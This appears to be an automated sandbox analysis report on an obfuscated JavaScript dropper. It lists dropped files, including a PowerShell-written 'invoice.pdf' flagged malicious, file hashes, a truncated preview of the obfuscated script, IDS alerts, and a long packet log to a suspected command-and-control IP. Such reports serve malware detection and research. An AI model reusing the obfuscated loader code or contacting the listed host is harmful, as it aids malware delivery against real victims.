Preview:	...........]s[G. Z...{....;...J$%K&..%.[..k...S....$,.`. )Z..m........a.......o..7.VfV...S..HY}Ba.<.NUVVV~W.].;qG4..b,N..#1.=1.#1..o.Fb.........IC.....Z...g_~.OO.l..g.uO...bY.,[..o.s.D<..W....w....?$4..+..%.[.?..h.w<.T.9.vM.!..h0......}..H..$[...lq,....>..K.)=..s.{.g.O...S9".....Q...#...+..)>=.....\|6......<4W.'.U.j$....+..=9...l.....S..<.\.k.'....{.1<.?..<..uk.v;.7n.!...g....."P..4.U........c.KC..w._G..u..g./.g....{'^.-\|..h#.g.\.PO.\|...]x..Kf4..s..............+.Y.....@.K....zI..X......6e?[..u.g"{..h.vKbM<.?i6{%.q)i...v..<P8P3.......CW.fwd...{:@h...;........5..@.C.j.....a.. U.5...].$.L..wW....z...v.......".M.?c.......o..}.a.9..A..%V..o.d....'..\|m.WC.....\|.....e.[W.p.8...rm....^..x'......5!...\|......z..#......X_..Gl..c..R..`...*.s-1f..]x......f...g...k........g....... ).3.B..{"4...!r....v+As...Zn.]K{.8[..M.r.Y..........+%...]...J}f]~}_..K....;.Z.[..V.&..g...>...{F..{I..@~.^.\|P..G.R>....U..../HY...(.z.<.~.9OW.Sxo.Y

C:\Users\user\AppData\Local\Temp\acrocef_low\59c0ddec-5f3d-4f76-8507-3c212e4fe88d.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 299538
Category:	dropped
Size (bytes):	758601
Entropy (8bit):	7.98639316555857
Encrypted:	false
SSDEEP:	12288:ONh3P65+Tegs6121YSWBlkipdjuv1ybxrr/IxkB1mabFhOXZ/fEa+vTJJJJv+9U0:O3Pjegf121YS8lkipdjMMNB1DofjgJJg
MD5:	3A49135134665364308390AC398006F1
SHA1:	28EF4CE5690BF8A9E048AF7D30688120DAC6F126
SHA-256:	D1858851B2DC86BA23C0710FE8526292F0F69E100CEBFA7F260890BD41F5F42B
SHA-512:	BE2C3C39CA57425B28DC36E669DA33B5FF6C7184509756B62832B5E2BFBCE46C9E62EAA88274187F7EE45474DCA98CD8084257EA2EBE6AB36932E28B857743E5
Malicious:	false
Preview:	...........kWT..0...W`.........b..@..nn........5.._..I.R3I..9g.x....s.\+.J......F...P......V]u......t....jK...C.fD..]..K....;......y._.U..}......S.........7...Q.............W.D..S.....y......%..=.....e..^.RG......L..].T.9.y.zqm.Q]..y..(......Q]..~~..}..q...@.T..xI.B.L.a.6...{..W..}.mK?u...5.#.{...n...........z....m^.6!.`.....u...eFa........N....o..hA-..s.N..B.q..{..z.{=..va4_`5Z........3.uG.n...+...t...z.M."2..x.-...DF..VtK.....o]b.Fp.>........c....,..t..an[............5.1.(}..q.q......K3.....[>..;e..f.Y.........mV.cL...]eF..7.e.<.._.o\.S..Z...`..}......>@......\|.......ox.........h.......o....-Yj=.s.g.Cc\.i..\..A.B>.X..8`...P......[..O...-.g...r..u\...k..7..#E....N}...8.....(..0....w....j.......>.L....H.....y.x3...[>..t......0..z.qw..]X..i8..w.b..?0.wp..XH.A.[.....S..g.g..I.A.15.0?._n.Q.]..r8.....l..18...(.].m...!\|G.1...... .3.`./....`~......G.............\|..pS.e.C....:o.u_..oi.:..\|....joi...eM.m.K...2%...Z..j...VUh..9.}.....

C:\Users\user\AppData\Local\Temp\acrocef_low\c5c19498-f918-46a2-9a7a-d2f5651bf2c5.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 5111142
Category:	dropped
Size (bytes):	1419751
Entropy (8bit):	7.976496077007677
Encrypted:	false
SSDEEP:	24576:/rwYIGNP4mOWL07oBGZ1dpy6mlind9j2kvhsfFXpAXDgrFBU2/R07D:TwZG6bWLxBGZN3mlind9i4ufFXpAXkru
MD5:	95F182500FC92778102336D2D5AADCC8
SHA1:	BEC510B6B3D595833AF46B04C5843B95D2A0A6C9
SHA-256:	9F9C041D7EE1DA404E53022D475B9E6D5924A17C08D5FDEC58C0A1DCDCC4D4C9
SHA-512:	D7C022459486D124CC6CDACEAD8D46E16EDC472F4780A27C29D98B35AD01A9BA95F62155433264CC12C32BFF384C7ECAFCE0AC45853326CBC622AE65EE0D90BA
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\c5c209c5-ac66-408a-babd-e95b4be3057e.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 42290
Category:	dropped
Size (bytes):	1407294
Entropy (8bit):	7.97605879016224
Encrypted:	false
SSDEEP:	24576:/rKdpy6mlind9j2kvhsfFXpAXDgrFBU2/R07tOWL07oYGZQeYIGNPB:Ta3mlind9i4ufFXpAXkrfUs0kWLxYGZQ
MD5:	81778DB3CD3E202CD8FEB47572C9DF55
SHA1:	A030EAB46FE2ED66D14270A86F44303F0D742019
SHA-256:	2E4A0CE023C75E0A53D82D4D08DC4ACD144039D04CEA94103C26535CB5B56998
SHA-512:	97BFD23BD03D6E911059092ED0C44779588CE29AE31E8FA1510A7FEE2B92B9E07AE2FFD4614D2566D369E48554269DC95DE42E062E533A4AA5EEC4DBAAAD3D1B
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\invoice.pdf

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PDF document, version 1.7
Category:	dropped
Size (bytes):	635764
Entropy (8bit):	7.929592005409041
Encrypted:	false
SSDEEP:	12288:+ZLfaHa9wphzjERQ/JTckor+EURE+AwAX75pfGJKsKca+e7lEjYQ:+ZyjgQRRor+lRJAwAXlpoKgQ76jYQ
MD5:	91A2AF9E2A61ABF7D9977999FBF9879E
SHA1:	F6E4FA02DD15B27F74553FB1B220A4D2DF385267
SHA-256:	FC3518D746CDB3738DA976551795B9727619F41F89AC0641533126E2F69B969A
SHA-512:	8B27CC0E0E902ABB59735FF4FC67789C0F0F9A1BF3F619A7AFAEAAA13A9AFCF9C82F25596719A65EC15221EBAE16EF9701CDB48F372BBF1BE08CB568DBE41D7C
Malicious:	true
Preview:	%PDF-1.7.%.....1 0 obj.<< /Pages 3 0 R /Type /Catalog >>.endobj.2 0 obj.<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>.stream.x.3V0.Q.w./.+Q0T...L)V.V0Q0P.R.U...,HU..HLO-V.....%0.mendstream.endobj.4 0 obj.<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>.endobj.5 0 obj.<< /Filter /FlateDecode /Length 75 >>.stream.x.3T0.B]C aab.gi....U.e...E........\ E..&@yC.:.l.B.W.B!P9D..~...K>W ...&...endstream.endobj.6 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>.endobj.7 0 obj.<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>.stream.x.+..T(..O/6PH/.*.2.4.4S0.B]......H...O..S.04Tp....B.....endstream.endobj.8 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>.endobj.9 0 obj.<< /BitsPerCo

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Static File Info

General

File type:	ASCII text, with very long lines (18714), with CRLF line terminators
Entropy (8bit):	4.908086566648609
TrID:
File name:	32474162872806629906.js
File size:	22'239 bytes
MD5:	2bf5db09b9fec2e24fc58424999e1c14
SHA1:	e266c6f45f17746c020c3b5d1507f48623cad740
SHA256:	bbf08c0c60a585923a5ca5937c85937f60601a1726030812bfb2da6470bdbcd6
SHA512:	9d3ca703b642b8f4ad492aa9ea2db7f8ee48e5e14e142d715f40b516d6516abd0b3cf8a7deac05f2ba7856a9ca7444fc2f21aefbd3155b4f58fd1208bf115dfa
SSDEEP:	384:dyXvhov/ndQXypj5HSXgIEiE9IwvsjTLkjDkiX2N5ibV:MaijlwvsjTLIPXkQbV
TLSH:	2CA2A6CCD413872F98C859F944BE18C64BAE575E806CEC4D2846318A1B1B07BB5F28FE
File Content Preview:	function fgahswc(){mwulcejc=[1031,3079,5127,4103,2055,3072];var qxhpumefx=this[oupaojo+suphzc+zejvmsp+rxxsj+wqlojrvpq+iudtliyzk+slbuu+ffydjt](this[gcsjls+iazsxp+bstcp+zejvmsp+fchfasznr+oupaojo+ffydjt][trrkd+zejvmsp+wqlojrvpq+suphzc+ffydjt+wqlojrvpq+rxnqif

File Icon


Icon Hash:	68d69b8bb6aa9a86

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-01-10T17:13:09.748831+0100	1810000	Joe Security ANOMALY Windows PowerShell HTTP activity	2	192.168.2.9	49752	193.143.1.205	80	TCP
2025-01-10T17:13:12.416214+0100	1810005	Joe Security ANOMALY Microsoft Office WebDAV Discovery	1	192.168.2.9	49768	193.143.1.205	8888	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 10, 2025 17:13:08.964500904 CET	49752	80	192.168.2.9	193.143.1.205
Jan 10, 2025 17:13:08.969335079 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:08.971379042 CET	49752	80	192.168.2.9	193.143.1.205
Jan 10, 2025 17:13:08.974040031 CET	49752	80	192.168.2.9	193.143.1.205
Jan 10, 2025 17:13:08.978804111 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:09.748745918 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:09.748759031 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:09.748780012 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:09.748785019 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:09.748804092 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:09.748831034 CET	49752	80	192.168.2.9	193.143.1.205
Jan 10, 2025 17:13:09.748864889 CET	49752	80	192.168.2.9	193.143.1.205
Jan 10, 2025 17:13:09.748873949 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:09.748879910 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:09.748893023 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:09.748900890 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:09.748905897 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:09.748929024 CET	49752	80	192.168.2.9	193.143.1.205
Jan 10, 2025 17:13:09.748964071 CET	49752	80	192.168.2.9	193.143.1.205
Jan 10, 2025 17:13:09.753758907 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:09.753767014 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:09.753773928 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:09.753829002 CET	49752	80	192.168.2.9	193.143.1.205
Jan 10, 2025 17:13:09.791788101 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:09.791801929 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:09.791874886 CET	49752	80	192.168.2.9	193.143.1.205
Jan 10, 2025 17:13:09.870393038 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:09.870407104 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:09.870419025 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:09.870425940 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:09.870498896 CET	49752	80	192.168.2.9	193.143.1.205
Jan 10, 2025 17:13:09.870685101 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:09.870733023 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:09.870804071 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:09.870825052 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:09.870831013 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:09.870857000 CET	49752	80	192.168.2.9	193.143.1.205
Jan 10, 2025 17:13:09.870888948 CET	49752	80	192.168.2.9	193.143.1.205
Jan 10, 2025 17:13:09.871299028 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:09.871305943 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:09.871325016 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:09.871331930 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:09.871412992 CET	49752	80	192.168.2.9	193.143.1.205
Jan 10, 2025 17:13:09.871862888 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:09.871870041 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:09.871881962 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:09.871886969 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:09.871898890 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:09.871929884 CET	49752	80	192.168.2.9	193.143.1.205
Jan 10, 2025 17:13:09.871951103 CET	49752	80	192.168.2.9	193.143.1.205
Jan 10, 2025 17:13:09.872760057 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:09.872766972 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:09.872780085 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:09.872786045 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:09.872792006 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:09.872813940 CET	49752	80	192.168.2.9	193.143.1.205
Jan 10, 2025 17:13:09.872848988 CET	49752	80	192.168.2.9	193.143.1.205
Jan 10, 2025 17:13:09.873606920 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:09.874197960 CET	49752	80	192.168.2.9	193.143.1.205
Jan 10, 2025 17:13:09.922535896 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:09.963089943 CET	49752	80	192.168.2.9	193.143.1.205
Jan 10, 2025 17:13:09.965328932 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:09.965398073 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:09.965471029 CET	49752	80	192.168.2.9	193.143.1.205
Jan 10, 2025 17:13:09.966212034 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:09.966253996 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:09.966314077 CET	49752	80	192.168.2.9	193.143.1.205
Jan 10, 2025 17:13:10.006191015 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:10.006210089 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:10.006223917 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:10.006238937 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:10.006254911 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:10.006275892 CET	49752	80	192.168.2.9	193.143.1.205
Jan 10, 2025 17:13:10.006314993 CET	49752	80	192.168.2.9	193.143.1.205
Jan 10, 2025 17:13:10.006397009 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:10.006525993 CET	49752	80	192.168.2.9	193.143.1.205
Jan 10, 2025 17:13:10.006624937 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:10.006635904 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:10.006686926 CET	49752	80	192.168.2.9	193.143.1.205
Jan 10, 2025 17:13:10.006925106 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:10.007100105 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:10.007112026 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:10.007122040 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:10.007145882 CET	49752	80	192.168.2.9	193.143.1.205
Jan 10, 2025 17:13:10.007169008 CET	49752	80	192.168.2.9	193.143.1.205
Jan 10, 2025 17:13:10.007246017 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:10.007257938 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:10.007272005 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:10.007324934 CET	49752	80	192.168.2.9	193.143.1.205
Jan 10, 2025 17:13:10.007412910 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:10.007422924 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:10.007462978 CET	49752	80	192.168.2.9	193.143.1.205
Jan 10, 2025 17:13:10.007555008 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:10.007601023 CET	49752	80	192.168.2.9	193.143.1.205
Jan 10, 2025 17:13:10.007755995 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:10.007762909 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:10.007770061 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:10.007812023 CET	49752	80	192.168.2.9	193.143.1.205
Jan 10, 2025 17:13:10.008069038 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:10.008080006 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:10.008112907 CET	49752	80	192.168.2.9	193.143.1.205
Jan 10, 2025 17:13:10.008212090 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:10.008224964 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:10.008236885 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:10.008255005 CET	49752	80	192.168.2.9	193.143.1.205
Jan 10, 2025 17:13:10.008281946 CET	49752	80	192.168.2.9	193.143.1.205
Jan 10, 2025 17:13:10.008404016 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:10.008415937 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:10.008428097 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:10.008460999 CET	49752	80	192.168.2.9	193.143.1.205
Jan 10, 2025 17:13:10.008563042 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:10.008574963 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:10.008585930 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:10.008611917 CET	49752	80	192.168.2.9	193.143.1.205
Jan 10, 2025 17:13:10.008640051 CET	49752	80	192.168.2.9	193.143.1.205
Jan 10, 2025 17:13:10.009193897 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:10.009207010 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:10.009218931 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:10.009254932 CET	49752	80	192.168.2.9	193.143.1.205
Jan 10, 2025 17:13:10.009382010 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:10.009394884 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:10.009408951 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:10.009416103 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:10.009428024 CET	49752	80	192.168.2.9	193.143.1.205
Jan 10, 2025 17:13:10.009449959 CET	49752	80	192.168.2.9	193.143.1.205
Jan 10, 2025 17:13:10.009917021 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:10.009963036 CET	49752	80	192.168.2.9	193.143.1.205
Jan 10, 2025 17:13:10.010078907 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:10.010091066 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:10.010102987 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:10.010116100 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:10.010142088 CET	49752	80	192.168.2.9	193.143.1.205
Jan 10, 2025 17:13:10.010154963 CET	49752	80	192.168.2.9	193.143.1.205
Jan 10, 2025 17:13:10.010250092 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:10.010262966 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:10.010277033 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:10.010289907 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:10.010314941 CET	49752	80	192.168.2.9	193.143.1.205
Jan 10, 2025 17:13:10.010329008 CET	49752	80	192.168.2.9	193.143.1.205
Jan 10, 2025 17:13:10.098093033 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:10.098118067 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:10.098129034 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:10.098140001 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:10.098226070 CET	49752	80	192.168.2.9	193.143.1.205
Jan 10, 2025 17:13:10.098262072 CET	49752	80	192.168.2.9	193.143.1.205
Jan 10, 2025 17:13:10.112545967 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:10.112560034 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:10.112675905 CET	49752	80	192.168.2.9	193.143.1.205
Jan 10, 2025 17:13:10.122184038 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:10.122208118 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:10.122219086 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:10.122231007 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:10.122242928 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:10.122286081 CET	49752	80	192.168.2.9	193.143.1.205
Jan 10, 2025 17:13:10.122351885 CET	49752	80	192.168.2.9	193.143.1.205
Jan 10, 2025 17:13:10.122958899 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:10.122971058 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:10.123023987 CET	49752	80	192.168.2.9	193.143.1.205
Jan 10, 2025 17:13:10.134571075 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:10.134629965 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:10.134640932 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:10.134650946 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:10.134664059 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:10.134675026 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:10.134680986 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:10.134690046 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:10.134705067 CET	49752	80	192.168.2.9	193.143.1.205
Jan 10, 2025 17:13:10.134743929 CET	49752	80	192.168.2.9	193.143.1.205
Jan 10, 2025 17:13:10.134948969 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:10.134970903 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:10.134982109 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:10.134991884 CET	49752	80	192.168.2.9	193.143.1.205
Jan 10, 2025 17:13:10.135025024 CET	49752	80	192.168.2.9	193.143.1.205
Jan 10, 2025 17:13:10.135091066 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:10.135149002 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:10.135179043 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:10.135186911 CET	49752	80	192.168.2.9	193.143.1.205
Jan 10, 2025 17:13:10.135298014 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:10.135339022 CET	49752	80	192.168.2.9	193.143.1.205
Jan 10, 2025 17:13:10.135345936 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:10.135358095 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:10.135370970 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:10.135391951 CET	49752	80	192.168.2.9	193.143.1.205
Jan 10, 2025 17:13:10.135552883 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:10.135600090 CET	49752	80	192.168.2.9	193.143.1.205
Jan 10, 2025 17:13:10.135608912 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:10.135621071 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:10.135632992 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:10.135649920 CET	49752	80	192.168.2.9	193.143.1.205
Jan 10, 2025 17:13:10.135804892 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:10.135818005 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:10.135828972 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:10.135843992 CET	49752	80	192.168.2.9	193.143.1.205
Jan 10, 2025 17:13:10.135862112 CET	49752	80	192.168.2.9	193.143.1.205
